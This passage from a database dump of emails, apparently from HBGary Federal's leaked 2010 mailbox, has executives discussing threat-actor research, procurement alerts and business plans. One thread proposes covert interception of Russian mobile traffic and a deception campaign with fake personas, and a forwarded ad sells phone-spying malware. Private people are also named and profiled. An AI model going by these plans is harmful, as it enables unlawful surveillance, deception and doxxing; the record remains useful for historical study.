<greg@hbgary.com>','/aaron@hbgary.com/new/1297006485.M118383P14101Q3226.eml','\"Aaron Barr\" <aaron@hbgary.com>','started a new presentation \"Tracking Cyber-threat Actors\"','Aaron,\r\nhere is just a start on a new presentation - want to work it out together?\r\n \r\n-Greg\r\n',1603,'aaron_hbgary_com/1603.html'),(8372,'2010-07-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006485.M454785P14101Q3227.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','Begin forwarded message:From: noreply@fbo.govDate: July 10, 2010 6:17:31 AM MDT\r\nTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nSaturday, July 10, 2010, 08:11 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Psyops&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n	Title:             	PSYOP Sources Sought	Sol. #:            	H92222-10-T-0006\r\n	Agency:            	Other Defense Agencies	Office:            	U.S. Special Operations Command\r\n	Location:          	Headquarters Procurement Division	Posted On:         	Jul 09, 2010 10:13 am\r\n	Current Type:      	Sources Sought (Modified)	Base Type:         	Sources Sought\r\n	Base Posting Date: 	Apr 01, 2010 8:58 am	Link:              	https://www.fbo.gov/spg/ODA/USSOCOM/SOAL-KB/H92222-10-T-0006/listing.html\r\n	-------------------------------------------------------\r\n',10181,'aaron_hbgary_com/10181.html'),(8373,'2010-07-10','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006485.M721883P14101Q3228.eml','\"Mark Trynor\" <mark@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Vendor Procurement Search Results','The psyop sources sought was updated yesterday. The response is now due next week. Begin forwarded message:From: noreply@fbo.gov\r\nDate: July 10, 2010 6:17:31 AM MDTTo: ted@hbgary.comSubject: Vendor Procurement Search Results\r\nSaturday, July 10, 2010, 08:11 amDear Ted:Your FBO Opportunity Search Agent called: &#39;Psyops&#39; has identified the following opportunities that have either been newly posted or modified and match your search criteria.\r\n	Title:             	PSYOP Sources Sought	Sol. #:            	H92222-10-T-0006\r\n	Agency:            	Other Defense Agencies	Office:            	U.S. Special Operations Command\r\n	Location:          	Headquarters Procurement Division	Posted On:         	Jul 09, 2010 10:13 am\r\n	Current Type:      	Sources Sought (Modified)	Base Type:         	Sources Sought\r\n	Base Posting Date: 	Apr 01, 2010 8:58 am	Link:              	https://www.fbo.gov/spg/ODA/USSOCOM/SOAL-KB/H92222-10-T-0006/listing.html\r\n	-------------------------------------------------------\r\n',8752,'aaron_hbgary_com/8752.html'),(8374,'2010-07-10','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006485.M926573P14101Q3229.eml','\"Aaron Barr\" <aaron@hbgary.com>','some interesting links to china',' \r\nchinese country of origin users in the leaked cc database:\r\nhttp://www.thedarkvisitor.com/2010/05/prc-hacker-n-skyline-member-of-carders-cc/\r\n \r\nSee also:\r\nhttp://www.washingtontimes.com/news/2010/jun/2/inside-the-ring-682119128/\r\n \r\n \r\n',3834,'aaron_hbgary_com/3834.html'),(8375,'2010-07-10','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006486.M161247P14101Q3230.eml','\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>,\"Winterfeld, Steven P (TASC)\" <steven.winterfeld@TASC.COM>','Re: Malcode Database','It\'s around 500-750gb. &nbsp;I can find out more specifics if needed.AaronSent from my iPhoneOn Jul 10, 2010, at 2:58 PM, \"Winterfeld, Steven P (TASC)\" &lt;steven.winterfeld@TASC.COM&gt; wrote:\r\n\r\n\r\n\r\nAaron\r\n\r\nTalking to Donald and wanted to tell him the size of the database HBGary has of malcode.&nbsp; Can you remind me.\r\n\r\nThanks\r\n\r\nSteve \r\n\r\n\r\n',2193,'aaron_hbgary_com/2193.html'),(8376,'2010-07-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006486.M525938P14101Q3231.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: started a new presentation \"Tracking Cyber-threat Actors\"','Let me take a look.  I had kids all day.  Looks like some interesting\r\nlinks.  On the premise of the. Title I will say yes.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jul 10, 2010, at 3:49 PM, Greg Hoglund  wrote:\r\n\r\n> Aaron,\r\n> here is just a start on a new presentation - want to work it out together?\r\n>\r\n> -Greg\r\n> \r\n',12445,'aaron_hbgary_com/12445.html'),(8377,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006487.M131390P14101Q3232.eml','\"Aaron Barr\" <aaron@hbgary.com>','another forum','This one handles all manner of illegal cellular cloning, code services, stolen phones, duped sims, the works.  It&#39;s a marketplace.\r\n \r\nWe could probably get a few thousand nodes out of this one.\r\n \r\nhttp://forum.gsmhosting.com/vbb/index.php\r\n \r\n-Greg  \r\n',3713,'aaron_hbgary_com/3713.html'),(8378,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006487.M540431P14101Q3233.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','HYIP\'s markets - monetized IP theft',' \r\nAaron, Rich,\r\n \r\nI have been doing link analysis all day.  While linking a community of bot / packer / cryptor developers I came across an individual who I was able to ID (Garry Kelly, he lives in the UK).  He has his hands in all kinds of shit.  For one, he is the author of &quot;CacheCrypt&quot; - a fairly advanced packer.  But, going past this, he is also heavily involved in the PPI programs which are commonly associated with the Russians.  I was able to ID him on facebook and made a stellar link to some e-Cash money trading sites he works with.  But what I found is this HYIP thing - &quot;High Yield Investment Program&quot; - these are virtual companies that trade currencies and such.  This guy is involved with this, and I found this site in particular http://www.hothyips.com/.  What I found here was so close to home I almost got chills - this is ripped right from their description:\r\n\r\n \r\nOilstructure:\r\nOilstructure is an international commercial organization that collects, anylizes and processes information concerning the oil indusry. The organization gets profits by speculating in the oil market. The special feature of the company Oilstructure is a wide international network of agents who work for the oil refining companies worldwide.\r\n\r\n \r\nThese guys are heavily into botnets and access.  The attacks on B.H. and others could be related.  Obviously there is a market in access, but in this case there is a direct market for data that would help trade futures on the oil market.  So, this is the first evidence I have found that backs up my claim that information is being monetized in cyber.\r\n\r\n \r\nSo it begins,\r\n-Greg\r\n',2961,'aaron_hbgary_com/2961.html'),(8379,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006487.M815717P14101Q3234.eml','\"Aaron Barr\" <aaron@hbgary.com>','human actors DB already running for spam',' \r\nhere\r\nhttp://www.spamhaus.org/rokso/index.lasso\r\n \r\n-Greg\r\n',8689,'aaron_hbgary_com/8689.html'),(8380,'2010-07-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006491.M420845P14101Q3235.eml','\"Aaron Barr\" <adbarr@mac.com>','Fwd: started a new presentation \"Tracking Cyber-threat Actors\"','Sent from my iPadBegin forwarded message:From: Greg Hoglund &lt;greg@hbgary.com&gt;\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: started a new presentation &quot;Tracking Cyber-threat Actors&quot;\r\nAaron,here is just a start on a new presentation - want to work it out together?-Greg\r\n\r\n',16787,'aaron_hbgary_com/16787.html'),(8381,'2010-07-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006491.M677376P14101Q3236.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Some identities to start link analysis','This is a great list.  I am going to start tracing the guys and see where some might go.Sent from my iPadOn Jul 10, 2010, at 2:44 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n \r\nAaron,\r\ncheck this out:\r\nhttp://pastebin.de/6648\r\n \r\nlook about half way down to find the emails/usernames of hundreds of criminal undergrounders.  This could be a great starter for link analysis.\r\n \r\n-Greg\r\n\r\n',15489,'aaron_hbgary_com/15489.html'),(8382,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006491.M920213P14101Q3237.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Some identities to start link analysis','Here is my link analysis so far on RAT developers.\r\n \r\n-Greg\r\nOn Sun, Jul 11, 2010 at 5:45 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nThis is a great list.  I am going to start tracing the guys and see where some might go.Sent from my iPad\r\n\r\n\r\n\r\nOn Jul 10, 2010, at 2:44 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n \r\nAaron,\r\ncheck this out:\r\nhttp://pastebin.de/6648\r\n \r\nlook about half way down to find the emails/usernames of hundreds of criminal undergrounders.  This could be a great starter for link analysis.\r\n \r\n-Greg\r\n',14451,'aaron_hbgary_com/14451.html'),(8383,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006494.M541719P14101Q3238.eml','\"Aaron Barr\" <aaron@hbgary.com>','DHS daily threat report in PDF form',' \r\nAaron,\r\nDoes the format of this report give you any inspiration for the format of the report(s) we would produce from your intel center (per our napkin discussion at Starbucks)?\r\n \r\n-Greg\r\n',13655,'aaron_hbgary_com/13655.html'),(8384,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006498.M218791P14101Q3239.eml','\"Aaron Barr\" <aaron@hbgary.com>','sampel report template based on what we talked about on napkin',' \r\nHere,\r\nI whipped this together\r\n \r\n-Greg\r\n',8910,'aaron_hbgary_com/8910.html'),(8385,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006498.M523235P14101Q3240.eml','\"Aaron Barr\" <aaron@hbgary.com>','Blackhat SMO',' \r\nYou will continue to suffer my serial barrage of emails!  Yarrrrr!\r\n \r\nThis time, -- you are familier with SEO (search engine optimization) - there is something called &quot;Blackhat SEO&quot; which is used to describe SEO to drive people to exploit servers on the front end of the PPI underground.  Okay - but I just found SMO (social media optimization) - so it stands to reason that &quot;blackhat SMO&quot; is a newly emerging threat.  We should jump all over that.\r\n\r\n \r\n-Greg\r\n',13926,'aaron_hbgary_com/13926.html'),(8386,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006498.M798110P14101Q3241.eml','aaron@hbgary.com','Read this, this is a real actor and someone spent some time figuring 	him out',' \r\nhttp://spamtrackers.eu/wiki/index.php/Alex_Polyakov\r\n \r\nWhat I think is nice about this, it gives a template of sorts for the investigative process we would go through to profile an actor.  This guy is obviously one bad boy.\r\n \r\n-Greg\r\n',3368,'aaron_hbgary_com/3368.html'),(8387,'2010-07-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006499.M252759P14101Q3243.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Blackhat SMO','Agreed on blackhat smo.  I think it would be fruitful to create some industry based personas; malware, defense ( you and I cam easily pull those off) build an association list and then see what we can do.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 11, 2010, at 12:24 PM, Greg Hoglund  wrote:\r\n\r\n>  \r\n> You will continue to suffer my serial barrage of emails!  Yarrrrr!\r\n>  \r\n> This time, -- you are familier with SEO (search engine optimization) - there is something called \"Blackhat SEO\" which is used to describe SEO to drive people to exploit servers on the front end of the PPI underground.  Okay - but I just found SMO (social media optimization) - so it stands to reason that \"blackhat SMO\" is a newly emerging threat.  We should jump all over that.\r\n>  \r\n> -Greg\r\n',12513,'aaron_hbgary_com/12513.html'),(8388,'2010-07-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006499.M31604P14101Q3242.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: Blackhat SMO','Keep em coming.  I get a chance to process in batches, mostly at night.  :). I think this is great stuff.  I will provide feedback on dhs report tonight as well.\r\n\r\nAaron\r\n\r\nSent from my iPhone\r\n\r\nOn Jul 11, 2010, at 12:24 PM, Greg Hoglund  wrote:\r\n\r\n>  \r\n> You will continue to suffer my serial barrage of emails!  Yarrrrr!\r\n>  \r\n> This time, -- you are familier with SEO (search engine optimization) - there is something called \"Blackhat SEO\" which is used to describe SEO to drive people to exploit servers on the front end of the PPI underground.  Okay - but I just found SMO (social media optimization) - so it stands to reason that \"blackhat SMO\" is a newly emerging threat.  We should jump all over that.\r\n>  \r\n> -Greg\r\n',5673,'aaron_hbgary_com/5673.html'),(8389,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006499.M491436P14101Q3244.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Blackhat SMO','A worthy project no doubt.  Let&#39;s plan when we get together next.\r\n \r\n-G\r\nOn Sun, Jul 11, 2010 at 10:56 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nAgreed on blackhat smo.  I think it would be fruitful to create some industry based personas; malware, defense ( you and I cam easily pull those off) build an association list and then see what we can do.\r\n\r\nAaronSent from my iPhoneOn Jul 11, 2010, at 12:24 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:&gt;\r\n\r\n\r\n&gt; You will continue to suffer my serial barrage of emails!  Yarrrrr!&gt;&gt; This time, -- you are familier with SEO (search engine optimization) - there is something called &quot;Blackhat SEO&quot; which is used to describe SEO to drive people to exploit servers on the front end of the PPI underground.  Okay - but I just found SMO (social media optimization) - so it stands to reason that &quot;blackhat SMO&quot; is a newly emerging threat.  We should jump all over that.\r\n&gt;&gt; -Greg\r\n',13545,'aaron_hbgary_com/13545.html'),(8390,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006499.M697988P14101Q3245.eml','\"Aaron Barr\" <aaron@hbgary.com>','sniffing russia',' \r\nAaron,\r\n \r\nI was sitting here wondering how we could get closer to the attackers.  Many actors are obviously in other countries.  To get the intel on emerging threats like I think we need, we have to go beyond postings on boards and toolmarks in malware - while those are good, they are not close to realtime.  I think we need close-to-realtime, that means monitoring coms.  Now, it is very doubtful we could get co-op from the telecom providers - plus the bandwidth at central points is too great (makes it cost too much) - but I did some research on Russia in particular and found that much of the access is wireless or broadband.  Wireless, in particular, was interesting to me because of the low-risk associated with monitoring.  For example, check this system: http://farm4.static.flickr.com/3623/3326881520_1856abe05a_o.png  -- this is the commonly deployed system for WiMax, operating in 3.4-3.6 gig - this is used by EnForta.  Sniffing tech might be expensive, but some cities are hotbeds and one sniffer could monitor several actors I think.  Broadband sniffing might be quite a bit harder, considering it requires physical plant access.\r\n\r\n \r\nBut, moving past the data, text and voice coms would provide huge intel on known actors as I imagine they have RL connections with each other.  Mobile TeleSystems (MTS) is the largest mobile operator in Russia and CIS with over 90 million subscribers and they use standard GSM. Vimpelcom is the 2nd largest and is also GSM.  GSM is easily sniffed.  There is a SHIELD system for this that not only intercepts GMS 5.1 but can also track the exact physical location of a phone.  Just to see whats on the market, check http://www.himfr.com/buy-gsm_interception_monitoring_system/ -- these have to be purchased overseas obviously.\r\n\r\n \r\nHome alone on Sunday, so I just sit here and sharpen the knife :-)\r\n \r\n-G\r\n \r\n',6019,'aaron_hbgary_com/6019.html'),(8391,'2010-07-11','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006499.M949486P14101Q3246.eml','aaron@hbgary.com','Fwd: GSM 5.1 Interception now can send spy phone sms and locate 	target phone!','\r\n---------- Forwarded message ----------From: Ms. Polly Adams &lt;p.adams@shieldsecurity.org&gt;\r\nDate: Sun, May 17, 2009 at 1:43 PMSubject: GSM 5.1 Interception now can send spy phone sms and locate target phone!To: &quot;Mr. Greg Hoglund&quot; &lt;hoglund@hbgary.com&gt;\r\n\r\n\r\n\r\n\r\nDear Mr. Hoglund,\r\n \r\n\r\nGSM 5.1 INTERCEPTION SYSTEM NOW ABLE TO SEND SPY PHONE FILES to target phones and turn the target phone into a spy phone!!!!\r\n\r\n \r\n\r\nNOW KNOW EXACT GPS LOCATION OF YOUR TARGET AND SEE IT ON A MAP!!!!!!!!!!!!!!!\r\n\r\n \r\nSHIELD GSM INTERCEPTION SYSTEMS are the only GSM 5.1 Interception systems in the world that have this ability.\r\nTAKE YOUR EXISTING SHIELD GSM 5.1 INTERCEPTION SYSTEM, AND NOW BE ABLE TO SEND YOUR TARGETS THE “SPY PHONE” VIRUS THROUGH THE GSM INTERCEPTION SYSTEM.\r\n\r\nYOU NEVER NEED PHYSICAL ACCESS TO THE TARGET PHONE!!!!!!!\r\nYou only need to have the target ONCE in your range, and you can catch him and send him an SMS that he downloads onto his phone.  This SMS download will automatically turn his phone into a spy phone!\r\n\r\nWith the “Spy Phone” Software on his phone, you can now:\r\n\r\nListen in to an active phone call \r\nRead all SMS, call logs, Email, Cell ID \r\nSpycalls (Listen in to the phone surroundings) \r\nGPS tracking \r\n100% Undetectable in operation!\r\n\r\n\r\n  \r\n\r\nFor more information, please email me at p.adams@shieldsecurity.org.   If you have not yet applied for full access to this restricted Government and Law Enforcement Catalog site please complete the online form at:  http://www.shieldsecurity.org  .  We will then issue you a user name and password to enable viewing of all products. \r\n \r\nWe thank you for your patronage and look forward to hearing from you in the very near future.  As always, if we can assist you in any way please contact me at the addressees and numbers below. \r\n\r\n \r\nRegards,\r\n\r\n \r\nPolly Adams\r\n\r\nGovernment, Military, and Law Enforcement Sales\r\n\r\n2nd Floor\r\n\r\n145-157 St. John Street\r\n\r\nLondon\r\n\r\nEC1V 4PY\r\n\r\nTelephone: +44 845 310 4322\r\n\r\nFax: +44 870 838 6561\r\n\r\nEmail: p.adams@shieldsecurity.org\r\n\r\nWeb: www.shieldsecurity.org\r\n\r\n\r\n\r\n',4375,'aaron_hbgary_com/4375.html'),(8392,'2010-07-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006500.M215739P14101Q3247.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: sniffing russia','I love it. &nbsp;We need to talk in person. &nbsp;There are things we can do if we want to go local.Sent from my iPhoneOn Jul 11, 2010, at 5:06 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:&nbsp;\r\nAaron,\r\n&nbsp;\r\nI was sitting here wondering how we could get closer to the attackers.&nbsp; Many actors are obviously in other countries.&nbsp; To get the intel on emerging threats like I think we need, we have to go beyond postings on boards and toolmarks in malware - while those are good, they are not close to realtime.&nbsp; I think we need close-to-realtime, that means monitoring coms.&nbsp; Now, it is very doubtful we could get co-op from the telecom providers - plus the bandwidth at central points is too great (makes it cost too much) - but I did some research on Russia in particular and found that much of the access is wireless or broadband.&nbsp; Wireless, in particular, was interesting to me because of the low-risk associated with monitoring.&nbsp; For example, check this system: http://farm4.static.flickr.com/3623/3326881520_1856abe05a_o.png&nbsp; -- this is the commonly deployed system for WiMax, operating in 3.4-3.6 gig - this is used by EnForta.&nbsp; Sniffing tech might be expensive, but some cities are hotbeds and one sniffer could monitor several actors I think.&nbsp; Broadband sniffing might be quite a bit harder, considering it requires physical plant access.\r\n\r\n&nbsp;\r\nBut, moving past the data, text and voice coms would provide huge intel on known actors as I imagine they have RL connections with each other.&nbsp; Mobile TeleSystems (MTS) is the largest mobile operator in Russia and CIS with over 90 million subscribers and they use standard GSM. Vimpelcom is the 2nd largest and is also GSM.&nbsp; GSM is easily sniffed.&nbsp; There is a SHIELD system for this that not only intercepts GMS 5.1 but can also track the exact physical location of a phone.&nbsp; Just to see whats on the market, check http://www.himfr.com/buy-gsm_interception_monitoring_system/&nbsp;-- these have to be purchased overseas obviously.\r\n\r\n&nbsp;\r\nHome alone on Sunday, so I just sit here and sharpen the knife :-)\r\n&nbsp;\r\n-G\r\n&nbsp;\r\n',7986,'aaron_hbgary_com/7986.html'),(8393,'2010-07-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006500.M465812P14101Q3248.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: sniffing russia','If we really want to do this we need to sit for a few hours and work out a campaign with different functions that work together. &nbsp;Personnas, sink holes, honey nets, soft and hard assets.If we had you, me, maybe rich or someone else to manage the personas. &nbsp;We would want at least one burn personna. &nbsp;We would want to sketch out a script to meet specific objectives.We will likely ride in some grey areas.We are going to be at blackhat together for at least a bit so let\'s put some on paper then.AaronSent from my iPhoneOn Jul 11, 2010, at 5:06 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:&nbsp;\r\nAaron,\r\n&nbsp;\r\nI was sitting here wondering how we could get closer to the attackers.&nbsp; Many actors are obviously in other countries.&nbsp; To get the intel on emerging threats like I think we need, we have to go beyond postings on boards and toolmarks in malware - while those are good, they are not close to realtime.&nbsp; I think we need close-to-realtime, that means monitoring coms.&nbsp; Now, it is very doubtful we could get co-op from the telecom providers - plus the bandwidth at central points is too great (makes it cost too much) - but I did some research on Russia in particular and found that much of the access is wireless or broadband.&nbsp; Wireless, in particular, was interesting to me because of the low-risk associated with monitoring.&nbsp; For example, check this system: http://farm4.static.flickr.com/3623/3326881520_1856abe05a_o.png&nbsp; -- this is the commonly deployed system for WiMax, operating in 3.4-3.6 gig - this is used by EnForta.&nbsp; Sniffing tech might be expensive, but some cities are hotbeds and one sniffer could monitor several actors I think.&nbsp; Broadband sniffing might be quite a bit harder, considering it requires physical plant access.\r\n\r\n&nbsp;\r\nBut, moving past the data, text and voice coms would provide huge intel on known actors as I imagine they have RL connections with each other.&nbsp; Mobile TeleSystems (MTS) is the largest mobile operator in Russia and CIS with over 90 million subscribers and they use standard GSM. Vimpelcom is the 2nd largest and is also GSM.&nbsp; GSM is easily sniffed.&nbsp; There is a SHIELD system for this that not only intercepts GMS 5.1 but can also track the exact physical location of a phone.&nbsp; Just to see whats on the market, check http://www.himfr.com/buy-gsm_interception_monitoring_system/&nbsp;-- these have to be purchased overseas obviously.\r\n\r\n&nbsp;\r\nHome alone on Sunday, so I just sit here and sharpen the knife :-)\r\n&nbsp;\r\n-G\r\n&nbsp;\r\n',5937,'aaron_hbgary_com/5937.html'),(8394,'2010-07-12','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006501.M405713P14101Q3249.eml','\"Penny C. Hoglund\" <penny@hbgary.com>,\"Mike Spohn\" <mike@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','basic tear-sheet for our managed services',' \r\nMike, et al\r\nHere is a draft tear-sheet I put together for our managed services - I am thinking this is the basic skeleton of the offering.  As far as I understand this, we are the first to offer roll-up AV/Blacklist scanning, detection of unknown threats from host-level, attribution to determine true threat &amp; eliminate costly noise (costly if they don&#39;t know the difference between noise and threat), and remediation.  I know the competition will do threat detection based on network logs but this is nothing compared to our power at the host - we have all the same COMS data at the host and more.  I know the competition will also do damage assessment, that is the forensic part that everyone is already good at - so thats not a differentiator just a requirement - but I think we can do a better job of it if we focus on the legal and regulatory aspects for them - something that the competition likely ignores.  Finally, we are the only ones offering remediation.  This gives us alot of differentiators and hands down, just the roll-up AV scan should be enough to convince any Enteprise that we are worth it.  If they know they are missing stuff, this story should convince them that we are the solution.\r\n\r\n \r\n-Greg\r\n',16723,'aaron_hbgary_com/16723.html'),(8395,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006501.M855619P14101Q3250.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: sniffing russia','To really make a difference requires both SIGINT and HUMINT like activities managed in an IO campaign.RECON to start to have some intelligence on what our target is. &nbsp;Is it the folks behind a specific threat? &nbsp;How much can we find out about them through analysis - as much as we can. &nbsp;Once we have as much as we can gather through open source then we build a campaign. &nbsp;Assuming this effort we will want to brief at various places it should approach cover both sides. &nbsp;How easy it is to infiltrate particular government segments using social media. &nbsp;This will be one of my personas (military background, recently separated, brief stint as a defense contractor, now working for a friend at a consulting business). &nbsp;I will create a few personas for the executive members of the company so there can be some email traffic. &nbsp;You will at some point be able to use this guys accounts as compromised. &nbsp;I will also have an intelligence account (this account will be the burned account that we will eventually use at the right point to gain credibility within a particular group you have infiltrated. &nbsp;The key persona is yours and working him in to get access to a specific groups environment.The intel persona can manage some of the SIGINT resources, honey nets, sink holes, etc. &nbsp;This persona will in parallel try to access the same organization but at some point you can burn him once we have enough through the SIGINT sources to push you further into an organization. &nbsp;This would likely require you to \"aid\" the organization in improving capability, but you could do it in such a way that you would easily know what to look for and block. &nbsp;Potentially maybe even using the defense \"dummy\" consulting company as some type of a test deployment or something who knows.This effort would likely also require organizational personas. &nbsp;If this looks too big we could probably pitch this as a whitepaper to either a large defense contractor like Mantech or a government organization like OSD.They key in these set ups is having the right pieces set up ahead of time, because inevitably plans will alter drastically and you need the right pieces to be flexible to adapt.At some point it also may require physical access such as locally planted capabilities access.In my opinion the thing we would want to prove here is the value of a combined INT campaign. &nbsp;NSA has all the collection resources you could imagine, CIA likewise has operatives coming out the wazooo. &nbsp;What they don\'t have is an ability to manage complex campaigns, and certainly not complex campaigns that leverage multiple \"INTs\". &nbsp;Proving the efficacy of this would be ground breaking.AaronOn Jul 11, 2010, at 5:06 PM, Greg Hoglund wrote:&nbsp;\r\nAaron,\r\n&nbsp;\r\nI was sitting here wondering how we could get closer to the attackers.&nbsp; Many actors are obviously in other countries.&nbsp; To get the intel on emerging threats like I think we need, we have to go beyond postings on boards and toolmarks in malware - while those are good, they are not close to realtime.&nbsp; I think we need close-to-realtime, that means monitoring coms.&nbsp; Now, it is very doubtful we could get co-op from the telecom providers - plus the bandwidth at central points is too great (makes it cost too much) - but I did some research on Russia in particular and found that much of the access is wireless or broadband.&nbsp; Wireless, in particular, was interesting to me because of the low-risk associated with monitoring.&nbsp; For example, check this system: http://farm4.static.flickr.com/3623/3326881520_1856abe05a_o.png&nbsp; -- this is the commonly deployed system for WiMax, operating in 3.4-3.6 gig - this is used by EnForta.&nbsp; Sniffing tech might be expensive, but some cities are hotbeds and one sniffer could monitor several actors I think.&nbsp; Broadband sniffing might be quite a bit harder, considering it requires physical plant access.\r\n\r\n&nbsp;\r\nBut, moving past the data, text and voice coms would provide huge intel on known actors as I imagine they have RL connections with each other.&nbsp; Mobile TeleSystems (MTS) is the largest mobile operator in Russia and CIS with over 90 million subscribers and they use standard GSM. Vimpelcom is the 2nd largest and is also GSM.&nbsp; GSM is easily sniffed.&nbsp; There is a SHIELD system for this that not only intercepts GMS 5.1 but can also track the exact physical location of a phone.&nbsp; Just to see whats on the market, check http://www.himfr.com/buy-gsm_interception_monitoring_system/&nbsp;-- these have to be purchased overseas obviously.\r\n\r\n&nbsp;\r\nHome alone on Sunday, so I just sit here and sharpen the knife :-)\r\n&nbsp;\r\n-G\r\n&nbsp;\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8161,'aaron_hbgary_com/8161.html'),(8396,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006502.M344101P14101Q3252.eml','\"Greg Hoglund\" <greg@hbgary.com>','Darkside job board - wow','http://www.freelancejobss.com/data-entry/captcha-work-3-5-per-1k-by-ommavikari.jsp\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',4097,'aaron_hbgary_com/4097.html'),(8397,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006502.M633994P14101Q3253.eml','\"Greg Hoglund\" <greg@hbgary.com>','You might already know this','But CounterStrike is a highly exploited MMO.\r\n\r\nHere is an isreali list.\r\nhttp://www.dacho.co.il/archive/index.php/t-160017.html\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',8375,'aaron_hbgary_com/8375.html'),(8398,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006502.M85561P14101Q3251.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,','Re: basic tear-sheet for our managed services','Greg,\r\n\r\nI really like it, but I highly suggest thinking about our relationship with Fidelis and being able to protect at the boundary.  The intelligence exchange between an appliance that has visibility at the perimeter and one that has visibility at the host.  Also if you want to sell this in government most are still looking at the perimeter as their first line of defense and the item that requires the most attention.  This is not going to change for a few years.\r\n\r\nAaron\r\n\r\n\r\nOn Jul 11, 2010, at 8:48 PM, Greg Hoglund wrote:\r\n\r\n>  \r\n> Mike, et al\r\n> Here is a draft tear-sheet I put together for our managed services - I am thinking this is the basic skeleton of the offering.  As far as I understand this, we are the first to offer roll-up AV/Blacklist scanning, detection of unknown threats from host-level, attribution to determine true threat & eliminate costly noise (costly if they don\'t know the difference between noise and threat), and remediation.  I know the competition will do threat detection based on network logs but this is nothing compared to our power at the host - we have all the same COMS data at the host and more.  I know the competition will also do damage assessment, that is the forensic part that everyone is already good at - so thats not a differentiator just a requirement - but I think we can do a better job of it if we focus on the legal and regulatory aspects for them - something that the competition likely ignores.  Finally, we are the only ones offering remediation.  This gives us alot of differentiators and hands down, just the roll-up AV scan should be enough to convince any Enteprise that we are worth it.  If they know they are missing stuff, this story should convince them that we are the solution.\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16164,'aaron_hbgary_com/16164.html'),(8399,'2010-07-12','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006502.M882915P14101Q3254.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','Mantech','Not sure how interested you are in selling but I would think Mantech\r\nwould be extremely interested given everything you do fits in their\r\nportfolio.  With CSC and bluebird it\'s a little more of a stretch or\r\ngrowth in new markets.  For Mantech it\'s strengthening their existing\r\nmarket.  They were actually going to try and build some of what 